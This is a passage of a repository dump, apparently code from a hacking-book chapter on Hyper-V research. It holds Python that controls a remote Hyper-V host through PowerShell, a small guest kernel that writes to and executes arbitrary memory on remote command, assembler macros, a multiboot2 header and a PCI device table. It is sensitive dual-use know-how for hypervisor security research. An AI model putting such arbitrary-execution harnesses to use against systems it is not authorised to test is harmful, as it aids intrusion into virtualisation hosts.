39 | class PseudoProc: 40 | def __init__(self): 41 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 42 | self.sock.connect((host, proxy_port)) 43 | self.returncode = None 44 | self.stdin = self.stdout = self.sock.makefile(mode='rwb') 45 | 46 | def kill(self): 47 | self.sock.close() 48 | self.returncode = 1 49 | 50 | class Guest(guest.Guest): 51 | created = False 52 | create_cmd = create_gen1 53 | 54 | def __enter__(self): 55 | with wsclient() as client: 56 | if not Guest.created: 57 | if deploy: 58 | for src_file in ('namedpipe_proxy.exe', 'kernel_bios.iso', 'kernel_efi.iso'): 59 | print(f'Copying \033[1m{src_file}\033[0m to remote host...') 60 | client.copy(src_file, f'C:\\\\{src_file}') 61 | 62 | print('Creating VM...') 63 | _, streams, errors = client.execute_ps(self.create_cmd) 64 | 65 | if errors: 66 | print('Error(s) creating VM') 67 | 68 | for err in streams.error: 69 | print(str(err)) 70 | 71 | exit(1) 72 | 73 | Guest.created = True 74 | 75 | print('Starting VM...') 76 | _, streams, errors = client.execute_ps(( 77 | f'Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c C:\\\\namedpipe_proxy.exe {pipe_name} > C:\\\\namedpipe_proxy.txt"; ' 78 | f'Start-VM -VMName {vm_name}; ' 79 | 'while (!(Get-NetTCPConnection -LocalPort 2345)) { Start-Sleep 1 }' 80 | )) 81 | 82 | if errors: 83 | print('Error(s) starting VM') 84 | 85 | for err in streams.error: 86 | print(str(err)) 87 | 88 | raise 89 | 90 | print('Connecting...') 91 | self.proc = PseudoProc() 92 | return self 93 | 94 | def __exit__(self, type, value, traceback): 95 | self.proc.kill() 96 | self.proc = None 97 | 98 | with wsclient() as client: 99 | print('Stopping VM...') 100 | _, streams, errors = client.execute_ps(f'Stop-VM -Name {vm_name} -Force -TurnOff') 101 | 102 | if errors: 103 | print('Error(s) stopping VM') 104 | 105 | for err in streams.error: 106 | print(str(err)) 107 | 108 | class GuestGen1(Guest): 109 | pass 110 | 111 | class GuestGen2(Guest): 112 | create_cmd = create_gen2 113 | -------------------------------------------------------------------------------- /GHHv6_ch25/iso/boot/grub/grub.cfg: -------------------------------------------------------------------------------- 1 | set timeout=0 2 | set default=0 3 | multiboot2 /boot/kernel 4 | boot 5 | -------------------------------------------------------------------------------- /GHHv6_ch25/macros.asm: -------------------------------------------------------------------------------- 1 | ;; SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 2 | ;; SPDX-License-Identifier: GPL-3.0-or-later 3 | %macro arg_wrap 2 4 | %ifnidn %1, %2 5 | %ifstr %1 6 | jmp %%endstr 7 | %%str: db %1, 0 8 | %ifidni %2, stack 9 | %%endstr: push %%str 10 | %else 11 | %%endstr: mov %2, %%str 12 | %endif 13 | %else 14 | %ifidni %2, stack 15 | push %1 16 | %else 17 | mov %2, %1 18 | %endif 19 | %endif 20 | %endif 21 | %endmacro 22 | 23 | %macro multipush 1-* 24 | %rep %0 25 | arg_wrap %1, stack 26 | %rotate 1 27 | %endrep 28 | %endmacro 29 | 30 | ;; At the cost of more emmited code this macro clobbers registers 31 | ;; WARNING this clobbers rdx even for functions returning 128-bit values 32 | %macro sysvcall 1-* rdi, rsi, rdx, rcx, r8, r9 33 | multipush r11, r10, r9, r8, rcx, rdx, rsi, rdi 34 | 35 | %if %0 >= 8 36 | multipush %{-1:8} 37 | %assign stack_offset ((%0 - 7) * 8) 38 | %else 39 | %assign stack_offset 0 40 | %endif 41 | 42 | %if %0 >= 2 43 | arg_wrap %2, rdi 44 | %endif 45 | 46 | %if %0 >= 3 47 | %ifidn %3, rdi 48 | arg_wrap qword [rsp+stack_offset], rsi 49 | %else 50 | arg_wrap %3, rsi 51 | %endif 52 | %endif 53 | 54 | %if %0 >= 4 55 | %ifidni %4, rdi 56 | arg_wrap qword [rsp+stack_offset], rdx 57 | %elifidn %4, rsi 58 | arg_wrap qword [rsp+stack_offset+8], rdx 59 | %else 60 | arg_wrap %4, rdx 61 | %endif 62 | %endif 63 | 64 | %if %0 >= 5 65 | %ifidni %5, rdi 66 | arg_wrap qword [rsp+stack_offset], rcx 67 | %elifidn %5, rsi 68 | arg_wrap qword [rsp+stack_offset+8], rcx 69 | %elifidn %5, rdx 70 | arg_wrap qword [rsp+stack_offset+0x10], rcx 71 | %else 72 | arg_wrap %5, rcx 73 | %endif 74 | %endif 75 | 76 | %if %0 >= 6 77 | %ifidni %6, rdi 78 | arg_wrap qword [rsp+stack_offset], r8 79 | %elifidn %6, rsi 80 | arg_wrap qword [rsp+stack_offset+8], r8 81 | %elifidn %6, rdx 82 | arg_wrap qword [rsp+stack_offset+0x10], r8 83 | %elifidn %6, rcx 84 | arg_wrap qword [rsp+stack_offset+0x18], r8 85 | %else 86 | arg_wrap %6, r8 87 | %endif 88 | %endif 89 | 90 | %if %0 >= 7 91 | %ifidni %7, rdi 92 | arg_wrap qword [rsp+stack_offset], r9 93 | %elifidn %7, rsi 94 | arg_wrap qword [rsp+stack_offset+8], r9 95 | %elifidn %7, rdx 96 | arg_wrap qword [rsp+stack_offset+0x10], r9 97 | %elifidn %7, rcx 98 | arg_wrap qword [rsp+stack_offset+0x18], r9 99 | %elifidn %7, r8 100 | arg_wrap qword [rsp+stack_offset+0x20], r9 101 | %else 102 | arg_wrap %7, r9 103 | %endif 104 | %endif 105 | 106 | xor rax, rax 107 | call %1 108 | 109 | %if %0 > 7 110 | add rsp, (%0 - 7)*8 111 | %endif 112 | 113 | pop rdi 114 | pop rsi 115 | pop rdx 116 | pop rcx 117 | pop r8 118 | pop r9 119 | pop r10 120 | pop r11 121 | %endmacro 122 | 123 | UInt8 equ 0x001 124 | UInt16 equ 0x002 125 | UInt32 equ 0x004 126 | UInt64 equ 0x008 127 | Int8 equ 0x101 128 | Int16 equ 0x102 129 | Int32 equ 0x104 130 | Int64 equ 0x108 131 | Array equ 0x400 132 | CString equ 0x500 133 | List equ 0x600 134 | Nil equ 0x700 135 | 136 | MTReply equ 2 137 | MTOOB equ 3 138 | 139 | %macro OOB_PRINT 1+ 140 | sysvcall put_va, 1, List, UInt32, 0, CString, %1, Nil 141 | sysvcall send_msg, MTOOB 142 | %endmacro 143 | 144 | %macro REPLY 0 145 | sysvcall send_msg, MTReply 146 | %endmacro 147 | 148 | %macro REPLY_EMPTY 0 149 | sysvcall put_va, 0, List, Nil 150 | REPLY 151 | %endmacro 152 | 153 | %macro PUT_VA 1+ 154 | sysvcall put_va, 0, List, %1, Nil 155 | %endmacro 156 | 157 | %macro PUT_TP 1 158 | sysvcall put_tp, 0, %1 159 | %endmacro 160 | 161 | %macro PUT_STRING 1 162 | sysvcall put_cstring, 0, %1 163 | %endmacro 164 | 165 | 166 | -------------------------------------------------------------------------------- /GHHv6_ch25/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 3 | SPDX-License-Identifier: GPL-3.0-or-later 4 | */ 5 | #include 6 | #include "multiboot2.h" 7 | #include "protocol.h" 8 | #include "common.h" 9 | 10 | extern char __ehdr_start, _end; 11 | 12 | static void put_symbols() { 13 | PUT_LIST(false, CString, "symbols", 14 | LIST(SYMBOL(__ehdr_start), 15 | SYMBOL(_end), 16 | SYMBOL(put_tp), 17 | SYMBOL(put_array), 18 | SYMBOL(put_cstring), 19 | SYMBOL(put_va), 20 | SYMBOL(send_msg))); 21 | } 22 | 23 | static void put_mmap(const struct multiboot_tag_mmap *mmap) { 24 | const struct multiboot_mmap_entry *entry, *end; 25 | end = PTR_ADD(&mmap->entries[0], mmap->size - sizeof(*mmap)); 26 | put_tp(false, List); 27 | 28 | for (entry = &mmap->entries[0]; entry != end; 29 | entry = PTR_ADD(entry, mmap->entry_size)) 30 | PUT_LIST(false, 31 | NAMED("address", UInt64, entry->addr), 32 | NAMED("length", UInt64, entry->len), 33 | NAMED("type", UInt32, entry->type)); 34 | 35 | put_tp(false, Nil); 36 | } 37 | 38 | static void put_mbi(const void *mbi) { 39 | const struct multiboot_tag *tag; 40 | 41 | for (tag = PTR_ADD(mbi, ALIGN_UP(sizeof(uint64_t), MULTIBOOT_TAG_ALIGN)); 42 | tag->type != MULTIBOOT_TAG_TYPE_END; 43 | tag = PTR_ADD(tag, ALIGN_UP(tag->size, MULTIBOOT_TAG_ALIGN))) { 44 | /* OOB_PRINT("multiboot tag 0x%08x", UInt32, tag->type); */ 45 | switch (tag->type) { 46 | case MULTIBOOT_TAG_TYPE_MMAP: 47 | put_tp(false, List); 48 | put_cstring(false, "mmap"); 49 | put_mmap((const struct multiboot_tag_mmap *)tag); 50 | put_tp(false, Nil); 51 | break; 52 | /* TODO: handle other tags */ 53 | default: 54 | break; 55 | } 56 | } 57 | } 58 | 59 | static void op_write() { 60 | Primitive_t addr; 61 | Array_t array; 62 | uint8_t *payload; 63 | get_va(UInt64, &addr); 64 | get_va(Array, &array, &payload); 65 | 66 | for (uint32_t x = 0; x != array.count * (array.subtype & 0xff); x += 1) 67 | ((uint8_t *)addr.u64)[x] = payload[x]; 68 | } 69 | 70 | static void op_exec() { 71 | Primitive_t addr; 72 | get_va(UInt64, &addr); 73 | ((void (*)())addr.u64)(); 74 | } 75 | 76 | void kmain(const void *mbi) { 77 | setup_serial(); 78 | OOB_PRINT("kmain at 0x%016lx", UInt64, &kmain); 79 | put_tp(false, List); 80 | put_symbols(); 81 | put_mbi(mbi); 82 | put_tp(false, Nil); 83 | send_msg(MTBoot); 84 | 85 | while (1) { 86 | recv_msg(); 87 | assert(List == get_tp()); 88 | 89 | for (TP prefix = get_tp(); Nil != prefix; prefix = get_tp()) { 90 | Primitive_t op_type; 91 | 92 | assert(UInt32 == prefix); /* requests must start with ReqType */ 93 | get_primitive(prefix, &op_type); 94 | assert(OpWrite == op_type.u32 || OpExec == op_type.u32); 95 | 96 | if (OpWrite == op_type.u32) 97 | op_write(); 98 | 99 | if (OpExec == op_type.u32) 100 | op_exec(); 101 | } 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /GHHv6_ch25/multiboot2.h: -------------------------------------------------------------------------------- 1 | /* multiboot2.h - Multiboot 2 header file. */ 2 | /* Copyright (C) 1999,2003,2007,2008,2009,2010 Free Software Foundation, Inc. 3 | * 4 | * Permission is hereby granted, free of charge, to any person obtaining a copy 5 | * of this software and associated documentation files (the "Software"), to 6 | * deal in the Software without restriction, including without limitation the 7 | * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or 8 | * sell copies of the Software, and to permit persons to whom the Software is 9 | * furnished to do so, subject to the following conditions: 10 | * 11 | * The above copyright notice and this permission notice shall be included in 12 | * all copies or substantial portions of the Software. 13 | * 14 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL ANY 17 | * DEVELOPER OR DISTRIBUTOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 18 | * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR 19 | * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 20 | */ 21 | 22 | #ifndef MULTIBOOT_HEADER 23 | #define MULTIBOOT_HEADER 1 24 | 25 | /* How many bytes from the start of the file we search for the header. */ 26 | #define MULTIBOOT_SEARCH 32768 27 | #define MULTIBOOT_HEADER_ALIGN 8 28 | 29 | /* The magic field should contain this. */ 30 | #define MULTIBOOT2_HEADER_MAGIC 0xe85250d6 31 | 32 | /* This should be in %eax. */ 33 | #define MULTIBOOT2_BOOTLOADER_MAGIC 0x36d76289 34 | 35 | /* Alignment of multiboot modules. */ 36 | #define MULTIBOOT_MOD_ALIGN 0x00001000 37 | 38 | /* Alignment of the multiboot info structure. */ 39 | #define MULTIBOOT_INFO_ALIGN 0x00000008 40 | 41 | /* Flags set in the 'flags' member of the multiboot header. */ 42 | 43 | #define MULTIBOOT_TAG_ALIGN 8 44 | #define MULTIBOOT_TAG_TYPE_END 0 45 | #define MULTIBOOT_TAG_TYPE_CMDLINE 1 46 | #define MULTIBOOT_TAG_TYPE_BOOT_LOADER_NAME 2 47 | #define MULTIBOOT_TAG_TYPE_MODULE 3 48 | #define MULTIBOOT_TAG_TYPE_BASIC_MEMINFO 4 49 | #define MULTIBOOT_TAG_TYPE_BOOTDEV 5 50 | #define MULTIBOOT_TAG_TYPE_MMAP 6 51 | #define MULTIBOOT_TAG_TYPE_VBE 7 52 | #define MULTIBOOT_TAG_TYPE_FRAMEBUFFER 8 53 | #define MULTIBOOT_TAG_TYPE_ELF_SECTIONS 9 54 | #define MULTIBOOT_TAG_TYPE_APM 10 55 | #define MULTIBOOT_TAG_TYPE_EFI32 11 56 | #define MULTIBOOT_TAG_TYPE_EFI64 12 57 | #define MULTIBOOT_TAG_TYPE_SMBIOS 13 58 | #define MULTIBOOT_TAG_TYPE_ACPI_OLD 14 59 | #define MULTIBOOT_TAG_TYPE_ACPI_NEW 15 60 | #define MULTIBOOT_TAG_TYPE_NETWORK 16 61 | #define MULTIBOOT_TAG_TYPE_EFI_MMAP 17 62 | #define MULTIBOOT_TAG_TYPE_EFI_BS 18 63 | #define MULTIBOOT_TAG_TYPE_EFI32_IH 19 64 | #define MULTIBOOT_TAG_TYPE_EFI64_IH 20 65 | #define MULTIBOOT_TAG_TYPE_LOAD_BASE_ADDR 21 66 | 67 | #define MULTIBOOT_HEADER_TAG_END 0 68 | #define MULTIBOOT_HEADER_TAG_INFORMATION_REQUEST 1 69 | #define MULTIBOOT_HEADER_TAG_ADDRESS 2 70 | #define MULTIBOOT_HEADER_TAG_ENTRY_ADDRESS 3 71 | #define MULTIBOOT_HEADER_TAG_CONSOLE_FLAGS 4 72 | #define MULTIBOOT_HEADER_TAG_FRAMEBUFFER 5 73 | #define MULTIBOOT_HEADER_TAG_MODULE_ALIGN 6 74 | #define MULTIBOOT_HEADER_TAG_EFI_BS 7 75 | #define MULTIBOOT_HEADER_TAG_ENTRY_ADDRESS_EFI64 9 76 | #define MULTIBOOT_HEADER_TAG_RELOCATABLE 10 77 | 78 | #define MULTIBOOT2_ARCHITECTURE_I386 0 79 | #define MULTIBOOT2_ARCHITECTURE_MIPS32 4 80 | #define MULTIBOOT_HEADER_TAG_OPTIONAL 1 81 | 82 | #define MULTIBOOT_LOAD_PREFERENCE_NONE 0 83 | #define MULTIBOOT_LOAD_PREFERENCE_LOW 1 84 | #define MULTIBOOT_LOAD_PREFERENCE_HIGH 2 85 | 86 | #define MULTIBOOT_CONSOLE_FLAGS_CONSOLE_REQUIRED 1 87 | #define MULTIBOOT_CONSOLE_FLAGS_EGA_TEXT_SUPPORTED 2 88 | 89 | #ifndef ASM_FILE 90 | 91 | typedef unsigned char multiboot_uint8_t; 92 | typedef unsigned short multiboot_uint16_t; 93 | typedef unsigned int multiboot_uint32_t; 94 | typedef unsigned long long multiboot_uint64_t; 95 | 96 | struct multiboot_header 97 | { 98 | /* Must be MULTIBOOT_MAGIC - see above. */ 99 | multiboot_uint32_t magic; 100 | 101 | /* ISA */ 102 | multiboot_uint32_t architecture; 103 | 104 | /* Total header length. */ 105 | multiboot_uint32_t header_length; 106 | 107 | /* The above fields plus this one must equal 0 mod 2^32. */ 108 | multiboot_uint32_t checksum; 109 | }; 110 | 111 | struct multiboot_header_tag 112 | { 113 | multiboot_uint16_t type; 114 | multiboot_uint16_t flags; 115 | multiboot_uint32_t size; 116 | }; 117 | 118 | struct multiboot_header_tag_information_request 119 | { 120 | multiboot_uint16_t type; 121 | multiboot_uint16_t flags; 122 | multiboot_uint32_t size; 123 | multiboot_uint32_t requests[0]; 124 | }; 125 | 126 | struct multiboot_header_tag_address 127 | { 128 | multiboot_uint16_t type; 129 | multiboot_uint16_t flags; 130 | multiboot_uint32_t size; 131 | multiboot_uint32_t header_addr; 132 | multiboot_uint32_t load_addr; 133 | multiboot_uint32_t load_end_addr; 134 | multiboot_uint32_t bss_end_addr; 135 | }; 136 | 137 | struct multiboot_header_tag_entry_address 138 | { 139 | multiboot_uint16_t type; 140 | multiboot_uint16_t flags; 141 | multiboot_uint32_t size; 142 | multiboot_uint32_t entry_addr; 143 | }; 144 | 145 | struct multiboot_header_tag_console_flags 146 | { 147 | multiboot_uint16_t type; 148 | multiboot_uint16_t flags; 149 | multiboot_uint32_t size; 150 | multiboot_uint32_t console_flags; 151 | }; 152 | 153 | struct multiboot_header_tag_framebuffer 154 | { 155 | multiboot_uint16_t type; 156 | multiboot_uint16_t flags; 157 | multiboot_uint32_t size; 158 | multiboot_uint32_t width; 159 | multiboot_uint32_t height; 160 | multiboot_uint32_t depth; 161 | }; 162 | 163 | struct multiboot_header_tag_module_align 164 | { 165 | multiboot_uint16_t type; 166 | multiboot_uint16_t flags; 167 | multiboot_uint32_t size; 168 | }; 169 | 170 | struct multiboot_header_tag_relocatable 171 | { 172 | multiboot_uint16_t type; 173 | multiboot_uint16_t flags; 174 | multiboot_uint32_t size; 175 | multiboot_uint32_t min_addr; 176 | multiboot_uint32_t max_addr; 177 | multiboot_uint32_t align; 178 | multiboot_uint32_t preference; 179 | }; 180 | 181 | struct multiboot_color 182 | { 183 | multiboot_uint8_t red; 184 | multiboot_uint8_t green; 185 | multiboot_uint8_t blue; 186 | }; 187 | 188 | struct multiboot_mmap_entry 189 | { 190 | multiboot_uint64_t addr; 191 | multiboot_uint64_t len; 192 | #define MULTIBOOT_MEMORY_AVAILABLE 1 193 | #define MULTIBOOT_MEMORY_RESERVED 2 194 | #define MULTIBOOT_MEMORY_ACPI_RECLAIMABLE 3 195 | #define MULTIBOOT_MEMORY_NVS 4 196 | #define MULTIBOOT_MEMORY_BADRAM 5 197 | multiboot_uint32_t type; 198 | multiboot_uint32_t zero; 199 | }; 200 | typedef struct multiboot_mmap_entry multiboot_memory_map_t; 201 | 202 | struct multiboot_tag 203 | { 204 | multiboot_uint32_t type; 205 | multiboot_uint32_t size; 206 | }; 207 | 208 | struct multiboot_tag_string 209 | { 210 | multiboot_uint32_t type; 211 | multiboot_uint32_t size; 212 | char string[0]; 213 | }; 214 | 215 | struct multiboot_tag_module 216 | { 217 | multiboot_uint32_t type; 218 | multiboot_uint32_t size; 219 | multiboot_uint32_t mod_start; 220 | multiboot_uint32_t mod_end; 221 | char cmdline[0]; 222 | }; 223 | 224 | struct multiboot_tag_basic_meminfo 225 | { 226 | multiboot_uint32_t type; 227 | multiboot_uint32_t size; 228 | multiboot_uint32_t mem_lower; 229 | multiboot_uint32_t mem_upper; 230 | }; 231 | 232 | struct multiboot_tag_bootdev 233 | { 234 | multiboot_uint32_t type; 235 | multiboot_uint32_t size; 236 | multiboot_uint32_t biosdev; 237 | multiboot_uint32_t slice; 238 | multiboot_uint32_t part; 239 | }; 240 | 241 | struct multiboot_tag_mmap 242 | { 243 | multiboot_uint32_t type; 244 | multiboot_uint32_t size; 245 | multiboot_uint32_t entry_size; 246 | multiboot_uint32_t entry_version; 247 | struct multiboot_mmap_entry entries[0]; 248 | }; 249 | 250 | struct multiboot_vbe_info_block 251 | { 252 | multiboot_uint8_t external_specification[512]; 253 | }; 254 | 255 | struct multiboot_vbe_mode_info_block 256 | { 257 | multiboot_uint8_t external_specification[256]; 258 | }; 259 | 260 | struct multiboot_tag_vbe 261 | { 262 | multiboot_uint32_t type; 263 | multiboot_uint32_t size; 264 | 265 | multiboot_uint16_t vbe_mode; 266 | multiboot_uint16_t vbe_interface_seg; 267 | multiboot_uint16_t vbe_interface_off; 268 | multiboot_uint16_t vbe_interface_len; 269 | 270 | struct multiboot_vbe_info_block vbe_control_info; 271 | struct multiboot_vbe_mode_info_block vbe_mode_info; 272 | }; 273 | 274 | struct multiboot_tag_framebuffer_common 275 | { 276 | multiboot_uint32_t type; 277 | multiboot_uint32_t size; 278 | 279 | multiboot_uint64_t framebuffer_addr; 280 | multiboot_uint32_t framebuffer_pitch; 281 | multiboot_uint32_t framebuffer_width; 282 | multiboot_uint32_t framebuffer_height; 283 | multiboot_uint8_t framebuffer_bpp; 284 | #define MULTIBOOT_FRAMEBUFFER_TYPE_INDEXED 0 285 | #define MULTIBOOT_FRAMEBUFFER_TYPE_RGB 1 286 | #define MULTIBOOT_FRAMEBUFFER_TYPE_EGA_TEXT 2 287 | multiboot_uint8_t framebuffer_type; 288 | multiboot_uint16_t reserved; 289 | }; 290 | 291 | struct multiboot_tag_framebuffer 292 | { 293 | struct multiboot_tag_framebuffer_common common; 294 | 295 | union 296 | { 297 | struct 298 | { 299 | multiboot_uint16_t framebuffer_palette_num_colors; 300 | struct multiboot_color framebuffer_palette[0]; 301 | }; 302 | struct 303 | { 304 | multiboot_uint8_t framebuffer_red_field_position; 305 | multiboot_uint8_t framebuffer_red_mask_size; 306 | multiboot_uint8_t framebuffer_green_field_position; 307 | multiboot_uint8_t framebuffer_green_mask_size; 308 | multiboot_uint8_t framebuffer_blue_field_position; 309 | multiboot_uint8_t framebuffer_blue_mask_size; 310 | }; 311 | }; 312 | }; 313 | 314 | struct multiboot_tag_elf_sections 315 | { 316 | multiboot_uint32_t type; 317 | multiboot_uint32_t size; 318 | multiboot_uint32_t num; 319 | multiboot_uint32_t entsize; 320 | multiboot_uint32_t shndx; 321 | char sections[0]; 322 | }; 323 | 324 | struct multiboot_tag_apm 325 | { 326 | multiboot_uint32_t type; 327 | multiboot_uint32_t size; 328 | multiboot_uint16_t version; 329 | multiboot_uint16_t cseg; 330 | multiboot_uint32_t offset; 331 | multiboot_uint16_t cseg_16; 332 | multiboot_uint16_t dseg; 333 | multiboot_uint16_t flags; 334 | multiboot_uint16_t cseg_len; 335 | multiboot_uint16_t cseg_16_len; 336 | multiboot_uint16_t dseg_len; 337 | }; 338 | 339 | struct multiboot_tag_efi32 340 | { 341 | multiboot_uint32_t type; 342 | multiboot_uint32_t size; 343 | multiboot_uint32_t pointer; 344 | }; 345 | 346 | struct multiboot_tag_efi64 347 | { 348 | multiboot_uint32_t type; 349 | multiboot_uint32_t size; 350 | multiboot_uint64_t pointer; 351 | }; 352 | 353 | struct multiboot_tag_smbios 354 | { 355 | multiboot_uint32_t type; 356 | multiboot_uint32_t size; 357 | multiboot_uint8_t major; 358 | multiboot_uint8_t minor; 359 | multiboot_uint8_t reserved[6]; 360 | multiboot_uint8_t tables[0]; 361 | }; 362 | 363 | struct multiboot_tag_old_acpi 364 | { 365 | multiboot_uint32_t type; 366 | multiboot_uint32_t size; 367 | multiboot_uint8_t rsdp[0]; 368 | }; 369 | 370 | struct multiboot_tag_new_acpi 371 | { 372 | multiboot_uint32_t type; 373 | multiboot_uint32_t size; 374 | multiboot_uint8_t rsdp[0]; 375 | }; 376 | 377 | struct multiboot_tag_network 378 | { 379 | multiboot_uint32_t type; 380 | multiboot_uint32_t size; 381 | multiboot_uint8_t dhcpack[0]; 382 | }; 383 | 384 | struct multiboot_tag_efi_mmap 385 | { 386 | multiboot_uint32_t type; 387 | multiboot_uint32_t size; 388 | multiboot_uint32_t descr_size; 389 | multiboot_uint32_t descr_vers; 390 | multiboot_uint8_t efi_mmap[0]; 391 | }; 392 | 393 | struct multiboot_tag_efi32_ih 394 | { 395 | multiboot_uint32_t type; 396 | multiboot_uint32_t size; 397 | multiboot_uint32_t pointer; 398 | }; 399 | 400 | struct multiboot_tag_efi64_ih 401 | { 402 | multiboot_uint32_t type; 403 | multiboot_uint32_t size; 404 | multiboot_uint64_t pointer; 405 | }; 406 | 407 | struct multiboot_tag_load_base_addr 408 | { 409 | multiboot_uint32_t type; 410 | multiboot_uint32_t size; 411 | multiboot_uint32_t load_base_addr; 412 | }; 413 | 414 | #endif /* ! ASM_FILE */ 415 | 416 | #endif /* ! MULTIBOOT_HEADER */ 417 | -------------------------------------------------------------------------------- /GHHv6_ch25/namedpipe_proxy.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ergot86/hyperv_stuff/e3e3744701cb6d230e20c7e4dc19da1e9c4fa826/GHHv6_ch25/namedpipe_proxy.exe -------------------------------------------------------------------------------- /GHHv6_ch25/pci.py: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: 2021 Daniel Fernandez Kuehr 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | 4 | import session 5 | from code import Code 6 | 7 | devices = { 8 | 0x00: { 0x01: 'VGA-Compatible Device' }, 9 | 0x01: { 10 | 0x00: { 0x00: 'SCSI controller', 11 | 0x11: 'SCSI storage device (SOP)', 12 | 0x12: 'SCSI controller (SOP)', 13 | 0x13: 'SCSI storage device and SCSI controller (SOP)', 14 | 0x21: 'SCSI storage device (SOP, NVM)' }, 15 | 0x01: 'IDE controller', 16 | 0x02: { 0x00: 'Floppy disk controller' }, 17 | 0x03: { 0x00: 'IPI bus controller' }, 18 | 0x04: { 0x00: 'RAID controller' }, 19 | 0x05: { 0x20: 'ATA controller (ADMA, single stepping)', 20 | 0x30: 'ATA controller (ADMA, continuous)', }, 21 | 0x06: { 0x00: 'Serial ATA controller', 22 | 0x01: 'Serial ATA controller (AHCI)', 23 | 0x02: 'Serial Storage Bus Interface' }, 24 | 0x07: { 0x00: 'Serial Attached SCSI (SAS) controller', 25 | 0x01: 'Obsolete' }, 26 | 0x08: { 0x00: 'NVM subsystem', 27 | 0x01: 'NVM subsystem (NVMHCI)', 28 | 0x02: 'NVM Express (NVMe) I/O controller', 29 | 0x03: 'NVM Express (NVMe) administrative controller' }, 30 | 0x09: { 0x00: 'Universal Flash Storage (UFS) controller', 31 | 0x01: 'Universal Flash Storage Host Controller Interface (UFSHCI)' }, 32 | 0x80: { 0x00: 'Other mass storage controller'}, 33 | }, 34 | 0x02: { 35 | 0x00: { 0x00: 'Ethernet controller' }, 36 | 0x01: { 0x00: 'Token Ring controller' }, 37 | 0x02: { 0x00: 'FDDI controller' }, 38 | 0x03: { 0x00: 'ATM controller' }, 39 | 0x04: { 0x00: 'ISDN controller' }, 40 | 0x05: { 0x00: 'WorldFip controller' }, 41 | 0x06: 'PICMG 2.14 Multi Computing', 42 | 0x07: { 0x00: 'InfiniBand* Controller' }, 43 | 0x08: { 0x00: 'Host fabric controller' }, 44 | 0x80: { 0x00: 'Other network controller' } 45 | }, 46 | 0x03: { 47 | 0x00: { 0x00: 'VGA-compatible controller', 48 | 0x01: '8514-compatible controller' }, 49 | 0x01: { 0x00: 'XGA controller' }, 50 | 0x02: { 0x00: '3D controller' }, 51 | 0x80: { 0x00: 'Other display controller' } 52 | }, 53 | 0x04: { 54 | 0x00: { 0x00: 'Video device' }, 55 | 0x01: { 0x00: 'Audio device' }, 56 | 0x02: { 0x00: 'Computer telephony device' }, 57 | 0x03: { 0x00: 'High Definition Audio (HD-A) 1.0 compatible', 58 | 0x80: 'High Definition Audio (HD-A) 1.0 compatible' }, 59 | 0x80: { 0x00: 'Other multimedia device' }, 60 | }, 61 | 0x05: { 62 | 0x00: { 0x00: 'RAM' }, 63 | 0x01: { 0x00: 'Flash' }, 64 | 0x80: { 0x00: 'Other memory controller' } 65 | }, 66 | 0x06: { 67 | 0x00: { 0x00: 'Host bridge' }, 68 | 0x01: { 0x00: 'ISA bridge' }, 69 | 0x02: { 0x00: 'EISA bridge' }, 70 | 0x03: { 0x00: 'MCA bridge' }, 71 | 0x04: { 0x00: 'PCI-to-PCI bridge', 72 | 0x01: 'Subtractive Decode PCI-to-PCI bridge' }, 73 | 0x05: { 0x00: 'PCMCIA bridge' }, 74 | 0x06: { 0x00: 'NuBus bridge' }, 75 | 0x07: { 0x00: 'CardBus bridge' }, 76 | 0x08: 'RACEway bridge', 77 | 0x09: { 0x40: 'Semi-transparent PCI-to-PCI bridge (primary)', 78 | 0x80: 'Semi-transparent PCI-to-PCI bridge (secondary)' }, 79 | 0x0A: { 0x00: 'InfiniBand-to-PCI host bridge' }, 80 | 0x0B: { 0x00: 'Advanced Switching to PCI host bridge', 81 | 0x01: 'Advanced Switching to PCI host bridge (ASI-SIG)' }, 82 | 0x80: { 0x00: 'Other bridge device' } 83 | }, 84 | 0x07: { 85 | 0x00: { 0x00: 'Generic XT-compatible serial controller', 86 | 0x01: '16450-compatible serial controller', 87 | 0x02: '16550-compatible serial controller', 88 | 0x03: '16650-compatible serial controller', 89 | 0x04: '16750-compatible serial controller', 90 | 0x05: '16850-compatible serial controller', 91 | 0x06: '16950-compatible serial controller' }, 92 | 0x01: { 0x00: 'Parallel port', 93 | 0x01: 'Bi-directional parallel port', 94 | 0x02: 'ECP 1.X compliant parallel port', 95 | 0x03: 'IEEE1284 controller' }, 96 | 0x02: { 0x00: 'Multiport serial controller' }, 97 | 0x03: { 0x00: 'Generic modem', 98 | 0x01: 'Hayes compatible modem, 16450-compatible', 99 | 0x02: 'Hayes compatible modem, 16550-compatible', 100 | 0x03: 'Hayes compatible modem, 16650-compatible', 101 | 0x04: 'Hayes compatible modem, 16750-compatible' }, 102 | 0x04: { 0x00: 'GPIB (IEEE 488.1/2) controller' }, 103 | 0x05: { 0x00: 'Smart Card' }, 104 | 0x80: { 0x00: 'Other communications device' } 105 | }, 106 | 0x08: { 107 | 0x00: { 0x00: 'Generic 8259 PIC', 108 | 0x01: 'ISA PIC', 109 | 0x02: 'EISA PIC', 110 | 0x10: 'I/O APIC interrupt controller (see Note 1 below)', 111 | 0x20: 'I/O(x) APIC interrupt controller' }, 112 | 0x01: { 0x00: 'Generic 8237 DMA controller', 113 | 0x01: 'ISA DMA controller', 114 | 0x02: 'EISA DMA controller' }, 115 | 0x02: { 0x00: 'Generic 8254 system timer', 116 | 0x01: 'ISA system timer', 117 | 0x02: 'EISA system timers (two timers)', 118 | 